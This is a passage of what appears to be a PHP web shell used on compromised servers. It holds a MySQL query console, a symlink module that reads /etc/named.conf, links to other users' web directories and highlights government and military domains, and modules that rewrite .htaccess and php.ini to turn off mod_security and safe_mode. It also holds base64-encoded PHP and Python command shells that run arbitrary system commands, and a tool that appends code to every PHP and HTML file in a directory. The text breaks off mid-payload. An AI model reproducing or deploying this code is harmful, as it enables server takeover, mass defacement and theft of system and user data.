type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <input type=\"hidden\" name=\"table\" value=\"".$table."\" /> Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">"; for($i = 1;$i <= $totpage;$i++){ $head .= "<option value=\"".$i."\">".$i."</option>"; if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>"; } $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>"; $msg = $msgq.$head.$msg; } elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){ $db = $_GET['db']; $query = magicboom($_GET['sqlquery']); $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; @mysql_select_db($db); $querys = explode(";",$query); foreach($querys as $query){ if(trim($query) != ""){ $hasil = mysql_query($query); if($hasil){ $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>"; $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>"; for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>"; $msg .= "</tr>"; for($i=0;$i<@mysql_num_rows($hasil);$i++) { $rows=@mysql_fetch_array($hasil); $msg .= "<tr>"; for($j=0;$j<@mysql_num_fields($hasil);$j++) { if($rows[$j] == "") $dataz = "&nbsp;"; else $dataz = $rows[$j]; $msg .= "<td>".$dataz."</td>"; } $msg .= "</tr>"; } $msg .= "</table>"; } else $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; } } } else { $query = "SHOW PROCESSLIST;
SHOW VARIABLES;
SHOW STATUS;"; $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $dbs = array(); $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>"; $hasil = @mysql_list_dbs($con); while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); } @sort($dbs); foreach($dbs as $db){ $msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."\">$db</a></td></tr>"; } $msg .= "</table>"; } @mysql_close($con); } else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>"; echo $msg; } else{ ?> <form action="?" method="get"> <input type="hidden" name="y" value="<?php echo $pwd; ?>" /> <input type="hidden" name="x" value="mysql" /> <table class="tabnet" style="width:300px;"> <tr><th colspan="2">Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr> <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr> <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr> <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr> </table> </form> <?php }}
   elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){ @ob_start(); eval("phpinfo();"); $buff = @ob_get_contents(); @ob_end_clean(); $awal = strpos($buff,"<body>")+6; $akhir = strpos($buff,"</body>"); echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>"; }
 
  elseif(isset($_GET['x']) && ($_GET['x'] == 'logout')){ @session_start(); @session_unregister("login"); echo "<meta http-equiv='refresh' content='0; url=?y=".$pwd."' />"; "</div>"; }
 elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=symlink" method="post">

<?php   

@set_time_limit(0);

echo "<center>";

@mkdir('sym',0777);
$htaccess  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='400' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name   = $string[1][0];
$iran   = '\.ir';
$israel = '\.il';
$indo   = '\.id';
$sg12   = '\.sg';
$edu    = '\.edu';
$gov    = '\.gov';
$gose   = '\.go';
$gober  = '\.gob';
$mil1   = '\.mil';
$mil2   = '\.mi';
$my     = '\.my';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0]) or eregi("$my",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>

<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>

<td>
'.$UID['name']."
</td>

<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>

</tr></div> ";
flush();
}
}
}
}

echo "</center></table>";   


"</div>"; }

 
   elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass')) { echo "<center/><br/><b><font color=blue>kh4lifax  Private Safe Mode Command  Bypass Exploit</font></b><br>
";
  mkdir('safeof', 0755);
	chdir('safeof');
$kokdosya = ".htaccess";

$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya a??lamad?!");
$metin = "<IfModule mod_security.c>
    SecFilterEngine Off
    SecFilterScanPOST Off
</IfModule>";	
fwrite ( $dosya , $metin ) ;
fclose ($dosya); 

$kokdosya = "php.ini";

$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya a??lamad?!");
$metin = "safe_mode          =       OFF
disable_functions       =            NONE";	
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$mini = 'PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHl7IGJhY2tncm91bmQ6IzAwMDAwMDsgfSBhIHsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0gYTpob3ZlcnsNCglib3JkZXItYm90dG9tLXdpZHRoOiAxcHg7DQoJYm9yZGVyLWJvdHRvbS1zdHlsZTogc29saWQ7DQoJYm9yZGVyLWJvdHRvbS1jb2xvcjogIzk5MDAwMDsNCn0gKnsgZm9udC1zaXplOjExcHg7IGZvbnQtZmFtaWx5OlRhaG9tYSxWZXJkYW5hLEFyaWFsOyBjb2xvcjojRkZGRkZGOyB9ICNtZW51ew0KCW1hcmdpbi10b3A6IDhweDsNCgltYXJnaW4tcmlnaHQ6IDZweDsNCgltYXJnaW4tYm90dG9tOiAycHg7DQoJbWFyZ2luLWxlZnQ6IDJweDsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjOTkwMDAwOw0KCWhlaWdodDogMjRweDsNCn0gI21lbnUgYXsNCgltYXJnaW46MDsNCgliYWNrZ3JvdW5kOiMyMjIyMjI7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJbGV0dGVyLXNwYWNpbmc6MnB4Ow0KCWZvbnQtZmFtaWx5OiB0YWhvbWEsIHZlcmRhbmEsIEFyaWFsOw0KCWNvbG9yOiAjQ0MwMDAwOw0KCXBhZGRpbmctdG9wOiA0cHg7DQoJcGFkZGluZy1yaWdodDogMTJweDsNCglwYWRkaW5nLWJvdHRvbTogNnB4Ow0KCXBhZGRpbmctbGVmdDogMThweDsNCn0gI21lbnUgYTpob3ZlcnsgYmFja2dyb3VuZDojMTkxOTE5OyBib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMzMzMzMzOyBib3JkZXItdG9wOjFweCBzb2xpZCAjMzMzMzMzOyB9IC50YWJuZXR7DQoJbWFyZ2luOjE1cHggYXV0byAwIGF1dG87DQoJYm9yZGVyOiAxcHggc29saWQgIzMzMzMzMzsNCgljb2xvcjogI0ZGQ0MwMDsNCn0gLm1haW4gew0KCXdpZHRoOjk3JTsNCgltYXJnaW46MzBweCBhdXRvIDEwcHg7DQoJcGFkZGluZzoxMHB4IDEwcHggNXB4IDEwcHg7DQoJYm9yZGVyLXJhZGl1czo1cHg7DQotbW96LWJvcmRlci1yYWRpdXM6NXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4ICM5OTAwMDA7IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCAjOTkwMDAwOwliYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfSANCi5kb21haW4gew0KCWNvbG9yOiAjQ0MwMDAwOw0KCWJvcmRlcjogMXB4IHNvbGlkICM5OTAwMDA7DQp9DQouZ2F5YSB7IGNvbG9yOiAjQ0MwMDAwOyB9DQouZGYgew0KCWNvbG9yOiAjQ0MwMDAwOw0KCWZvbnQtZmFtaWx5OiB0YWhvbWEsIHZlcmRhbmEsIEFyaWFsOw0KfSANCi5pbnB1dHp7IGJhY2tncm91bmQ6IzExMTExMTsgYm9yZGVyOjA7IHBhZGRpbmc6MnB4OyBib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMjIyMjIyOyBib3JkZXItdG9wOjFweCBzb2xpZCAjMjIyMjIyOyB9IC5pbnB1dHpidXR7IGJhY2tncm91bmQ6IzExMTExMTsgY29sb3I6I0NDMDAwMDsgbWFyZ2luOjAgNHB4OyBib3JkZXI6MXB4IHNvbGlkICM0NDQ0NDQ7IGN1cnNvcjpwb2ludGVyO30gLmlucHV0ejpob3ZlciwgLmlucHV0emJ1dDpob3ZlcnsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgI0NDMDAwMDsgYm9yZGVyLXRvcDoxcHggc29saWQgI0NDMDAwMDsgfSAub3V0cHV0IHsgbWFyZ2luOmF1dG87IGJvcmRlcjoxcHggc29saWQgI0NDMDAwMDsgd2lkdGg6MTAwJTsgaGVpZ2h0OjQwMHB4OyBiYWNrZ3JvdW5kOiMwMDAwMDA7IHBhZGRpbmc6MCAycHg7IH0gLmNtZGJveHsgd2lkdGg6MTAwJTsgfSAuaGVhZF9pbmZveyBwYWRkaW5nOiAwIDRweDsgfSAuYjF7IGZvbnQtc2l6ZTozMHB4OyBwYWRkaW5nOjA7IGNvbG9yOiM0NDQ0NDQ7IH0gLmIyeyBmb250LXNpemU6MzBweDsgcGFkZGluZzowOyBjb2xvcjogIzMzMzMzMzsgfSAuYl90Ymx7IHRleHQtYWxpZ246Y2VudGVyOyBtYXJnaW46MCA0cHggMCAwOyBwYWRkaW5nOjAgNHB4IDAgMDsgYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMzMzMzMzOyB9IA0KPC9zdHlsZT4gDQo8P3BocA0KZWNobyAiPGI+PGZvbnQgY29sb3I9Ymx1ZT5Db21tYW5kIFNoZWxsPC9mb250PjwvYj48YnI+IjsNCnByaW50X3IoJw0KPHByZT4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPg0KPGI+PGZvbnQgY29sb3I9Ymx1ZT48Yj48Zm9udCBjb2xvcj0iYmx1ZSI+Q29tbWFuZCAgOj0pIDwvZm9udD48L2ZvbnQ+PC9iPjxpbnB1dCBuYW1lPSJiYWJhIiB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzaXplPSIzNCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIj4NCjwvZm9ybT4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPjxzdHJvbmc+PGI+PGZvbnQgY29sb3I9ImJsdWUiPk1lbnUgQnlwYXNzICA6PSkgIDwvZm9udD48L3N0cm9uZz48c2VsZWN0IG5hbWU9ImxpejAiIHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiPg0KPG9wdGlvbiB2YWx1ZT0iY2F0IC9ldGMvcGFzc3dkIj4vZXRjL3Bhc3N3ZDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0ibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiI+bmV0c3RhdDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iY2F0IC92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIj4vdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iY2F0IC9ldGMvc3lzbG9nLmNvbmYiPi9ldGMvc3lzbG9nLmNvbmY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9ImNhdCAvZXRjL2hvc3RzIj4vZXRjL2hvc3RzPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJjYXQgL2V0Yy9uYW1lZC5jb25mIj4vZXRjL25hbWVkLmNvbmY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9ImNhdCAvZXRjL2h0dHBkL2NvbmYvaHR0cGQuY29uZiI+L2V0Yy9odHRwZC9jb25mL2h0dHBkLmNvbmY8L29wdGlvbj4NCjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iRyZvdW1sOyI+DQo8L2Zvcm0+DQo8L3ByZT4NCicpOw0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KJGxpejA9c2hlbGxfZXhlYygkX1BPU1RbYmFiYV0pOyANCiRsaXowemltPXNoZWxsX2V4ZWMoJF9QT1NUW2xpejBdKTsgDQokdWlkPXNoZWxsX2V4ZWMoJ2lkJyk7DQokc2VydmVyPXNoZWxsX2V4ZWMoJ3VuYW1lIC1hJyk7DQplY2hvICI8cHJlPjxoND4iOw0KDQplY2hvICRsaXowOw0KZWNobyAkbGl6MHppbTsNCmVjaG8gIjwvaDQ+PC9wcmU+PGNlbnRlci8+IjsNCj8+
';

$file = fopen("safe.php" ,"w+");
$write = fwrite ($file ,base64_decode($mini));
fclose($file);
   echo "<iframe src=safeof/safe.php width=97% height=70% frameborder=0></iframe> 

  
</div>"; }
 
 
 elseif(isset($_GET['x']) && ($_GET['x'] == 'massbrowsersploit')) { echo "<center/><br/><b>
 +--==[ Mass Code Injection ]==--+ 
 </b><br>";
?>
<br>
Directory to Inject.<br><br>
<form action="<?php echo $surl; ?>" method=GET>
<input type=hidden name="masssploit" value="goahead">
<input type=hidden name="x" value="massbrowsersploit">
<table border=0>
<tr><td>Directory: </td><td><input class="inputz" type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"></td></tr>
<tr><td>Code to inject: </td><td><textarea class="inputz" name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('Kh4lifax Fapping your Database'); ?></textarea></td></tr>
<tr><td><input class="inputzbut" type=submit value="Inject Code"></td></tr>
</table>
</form>
<?php
if ($_GET['masssploit'] == 'goahead') {
	if (is_dir($_GET['pathtomass'])) {
		$lolinject = $_GET['injectthis'];
		foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
			$fp=fopen($injectj00,"a+");
			if (fputs($fp,$lolinject)){
				echo '<font color=green>'.$injectj00.' sukses di injek<br></font>';
			} else {
				echo '<font color=red>gagal di injek '.$injectj00.'</font>';
			}
		}
		foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) {
			$fp=fopen($injectj00,"a+");
			if (fputs($fp,$lolinject)){
				echo $injectj00.' sukses di injek<br>';
			} else {
				echo '<font color=red>gagal di injek '.$injectj00.'</font>';
			}
		}
		foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) {
			$fp=fopen($injectj00,"a+");
			if (fputs($fp,$lolinject)){
				echo $injectj00.' sukses di injek<br>';
			} else {
				echo '<font color=red>gagal di injek '.$injectj00.'</font>';
			}
		}
	} else { 
		echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
	} 
}


?>
<b>Mass Code Injection:</b><br><br>
.PHP File Injector<br><br>
<form action="<?php echo $surl; ?>" method=GET>
<input type=hidden name="masssploit" value="php">
<input type=hidden name="x" value="massbrowsersploit">
<table border=0>
<tr><td>Directory: </td><td><input class="inputz" type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"></td></tr>
<tr><td>Code to inject: </td><td><textarea name="injectthis" class="inputz" cols=50 rows=4><?php echo htmlspecialchars('Kh4lifax'); ?></textarea></td></tr>
<tr><td><input class="inputzbut" type=submit value="Inject Code"></td></tr>
</table>
</form>
<?php
if ($_GET['masssploit'] == 'php') {
	if (is_dir($_GET['pathtomass'])) {
		$lolinject = $_GET['injectthis'];
		foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
			$fp=fopen($injectj00,"a+");
			if (fputs($fp,$lolinject)){
				echo '<font color=green>'.$injectj00.' sukses di injek<br></font>';
			} else {
				echo '<font color=red>gagal di injek '.$injectj00.'</font>';
			}
		}
	} else { 
		echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b></div>';
	} 
} 


}

 
 
 elseif(isset($_GET['x']) && ($_GET['x'] == 'safemode')) { echo "<center/><br/><b>
 +--==[ safemode ]==--+ 
 </b><br>";
 echo "<right>";
echo"<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'>
	<p align='center'>
	<INPUT class='inputzbut' type='submit' name='FucK' value='Bypass Mode!!' id=input  border-width: 1px'></p>
</form>
";
echo "<right/>";
if  (empty($_POST['FucK'] ) ) {
	}ELSE{
	$action = '?action=FucK';
echo "<html>
<br>
<head>
<meta http-equiv='pragma' content='no-cache'>
</head><body>";

$fp = fopen("php.ini","w+");
fwrite($fp,"safe_mode = Off
disable_functions  =    NONE
open_basedir = OFF ");
echo "<b>[ Bypass PHP.ini Injected..! ] ..</b>";
echo ("<br>");

$fp2 = fopen(".htaccess","w+");
fwrite($fp2,"
<IfModule mod_security.c>
FucKFilterEngine Off
FucKFilterScanPOST Off
FucKFilterCheckURLEncoding Off
FucKFilterCheckUnicodeEncoding Off
</IfModule>
");


echo "<b>[ Bypass Mod_Security ok..! ]</b><br>";

    echo "</font></center></td></tr></table> ";


 }
 
 
  echo "</div>"; }
 
 
 elseif(isset($_GET['x']) && ($_GET['x'] == 'python')) { echo "<center/><br/><b>
 +--==[ python  Bypass Exploit ]==--+ 
 </b><br><br>";
 
 
    mkdir('python', 0755);
    chdir('python');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "AddHandler cgi-script .izo";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
